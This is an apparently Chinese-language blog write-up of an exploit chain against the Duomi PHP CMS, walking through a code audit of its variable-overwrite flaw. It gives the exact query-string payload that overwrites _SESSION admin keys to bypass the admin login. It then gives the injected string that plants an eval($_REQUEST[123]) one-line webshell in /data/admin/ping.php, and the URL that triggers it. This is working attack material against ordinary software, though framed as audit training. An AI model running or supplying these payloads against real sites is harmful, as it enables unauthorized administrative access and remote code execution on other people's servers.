变量覆盖通过代码审计拿到webshell-doumi(超详细)

变量覆盖-doumi

目录

一.在系统配置中输入正则表达式\$\$,并命名为覆盖变量

二.用$$进行全局搜索

三.代码审计

四.搜索common.php的意思

五、全局搜索common.php

六、代码审计login.php

七、代码审计check.admin.php

八、构造payload准备

九、构造payload

十、获取webshell


一.在系统配置中输入正则表达式\$\$,并命名为覆盖变量

变量覆盖通过代码审计拿到webshell-doumi(超详细)_第1张图片

二.用$$进行全局搜索

变量覆盖通过代码审计拿到webshell-doumi(超详细)_第2张图片

找到foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);发现可能存在变量覆盖漏洞,因此进行代码审计

三.代码审计

变量覆盖通过代码审计拿到webshell-doumi(超详细)_第3张图片

发现这两段代码

foreach($_REQUEST as $_k=>$_v)

{

if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) )

{

exit('Request var not allow!');

}

}

1.foreach($_REQUEST as $_k=>$_v): 遍历所有的 $_REQUEST 变量,其中 $_REQUEST 是一个超全局变量,包含了通过 GET、POST 和 COOKIE 方法发送到服务器的所有变量。

2.if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) ): 这个条件语句包含了三个条件:

(1)strlen($_k)>0: 确保键 ($_k) 的长度大于0,也就是说,它不是空字符串。

(2)m_eregi('^(cfg_|GLOBALS)',$_k): 使用 m_eregi 函数(注意,这不是 PHP 的标准函数)来检查 $_k 是否以 "cfg_" 或 "GLOBALS" 开头。

(3)!isset($_COOKIE[$_k]): 检查该键 ($_k) 是否不在 $_COOKIE 中。$_COOKIE 是 PHP 中存储客户端发送的 cookie 的数组。

3.exit('Request var not allow!');: 如果上述条件满足,代码将退出并显示 "Request var not allow!" 消息。

总的来说,这段代码检查了所有的 $_REQUEST 变量,如果某个变量的键长度大于0、以 "cfg_" 或 "GLOBALS" 开头,并且不在 $_COOKIE 中,那么代码将退出并显示 "Request var not allow!" 消息。

foreach(Array('_GET','_POST','_COOKIE') as $_request)

{

foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);

}

这段代码的意思是遍历array的请求,并将遍历请求的值给$_k => $_v,$_k 表示键,$_v表示值${$_k},表示将键变成变量并等于_RunMagicQuotes这个函数的$_v

继续审计_RunMagicQuotes

变量覆盖通过代码审计拿到webshell-doumi(超详细)_第4张图片

function _RunMagicQuotes(&$svar)

{

if(!get_magic_quotes_gpc())

{

if( is_array($svar) )

{

foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);

}

else

{

$svar = addslashes($svar);

}

}

return $svar;

}

1.首先,它检查 get_magic_quotes_gpc() 函数的返回值。这个函数返回一个布尔值,指示 "magic quotes" 功能是否已启用。如果 "magic quotes" 功能未启用(即 get_magic_quotes_gpc() 返回 false),则进入下一步处理。

2.如果 $svar 是一个数组,函数会使用 foreach 循环遍历数组的每个元素,并对每个元素递归调用 _RunMagicQuotes 函数。这样,数组中的每个元素都会被处理。

3.如果 $svar 不是一个数组,那么它会使用 addslashes() 函数来转义 $svar 中的特殊字符。addslashes() 函数会在单引号、双引号、反斜杠和 NUL(空字符)前添加反斜杠,从而实现对这些字符的转义。

4.最后,函数返回处理后的 $svar 值。

这里也没有变量,那么我们只能继续代码审计

四.搜索common.php的意思

变量覆盖通过代码审计拿到webshell-doumi(超详细)_第5张图片

这里的common.php就有可能也是核心文件,所以说会在其他文件里面被调用,因此这里我们就需要全局搜索common.php

五、全局搜索common.php

变量覆盖通过代码审计拿到webshell-doumi(超详细)_第6张图片

这里抓住关键词login、index等因为我们需要的是绕过登录直接进入后台,那么登录后台一般存在在这些地方

六、代码审计login.php

变量覆盖通过代码审计拿到webshell-doumi(超详细)_第7张图片

这里使用到了session进行测试是否输入的用户名和密码是否正确,但是这个文件里面有没有使用session_start();,因此这里就需要找到include包含

变量覆盖通过代码审计拿到webshell-doumi(超详细)_第8张图片

Common.php我们已经找过了,因此需要找check.admin.php

七、代码审计check.admin.php

变量覆盖通过代码审计拿到webshell-doumi(超详细)_第9张图片

发现session_start()被开启,证明可以使用session

八、构造payload准备

因为我不知道session里面是什么内容,因此我们需要登录后台查看session内容

变量覆盖通过代码审计拿到webshell-doumi(超详细)_第10张图片

因为这里将session赋值了我们直接将session输出得到

变量覆盖通过代码审计拿到webshell-doumi(超详细)_第11张图片

找出session的内容为

Array

(

    [duomi_ckstr] => zvaj

    [duomi_ckstr_last] =>

    [duomi_admin_id] => 1

    [duomi_group_id] => 1

    [duomi_admin_name] => admin

)

duomi_admin_id管理员id

duomi_group_id用户组id

duomi_admin_name管理员名字

所以我们只需要构造payload将其中内容覆盖就可以绕过登录了

九、构造payload

_SESSION[duomi_ckstr]=YTGC&_SESSION[duomi_admin_id]=1&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=admin

变量覆盖通过代码审计拿到webshell-doumi(超详细)_第12张图片

再次输入www.duomi.com/admin/便进去了

变量覆盖通过代码审计拿到webshell-doumi(超详细)_第13张图片

说明绕过成功

十、获取webshell

找到全局 百度推送

变量覆盖通过代码审计拿到webshell-doumi(超详细)_第14张图片

这里出现了这个

 如果修改无效,请检查/data/admin/ping.php文件权限是否可写。

因此我们可以猜测我们写入的内容会在/data/admin/ping.php这个文件中

写入fuck在这个文件中查找

变量覆盖通过代码审计拿到webshell-doumi(超详细)_第15张图片

发现真存在这个文件,那么这里我们尝试构造一句话木马

输入fuckfuck";eval($_REQUEST[123]);"

点击确认发现

变量覆盖通过代码审计拿到webshell-doumi(超详细)_第16张图片

这里一句话木马被写入进去了

访问/data/admin/ping.php

输入www.duomi.com/data/admin/ping.php?123=phpinfo();

变量覆盖通过代码审计拿到webshell-doumi(超详细)_第17张图片

证明已经拿到了webshell

你可能感兴趣的:(android,网络安全,安全,运维)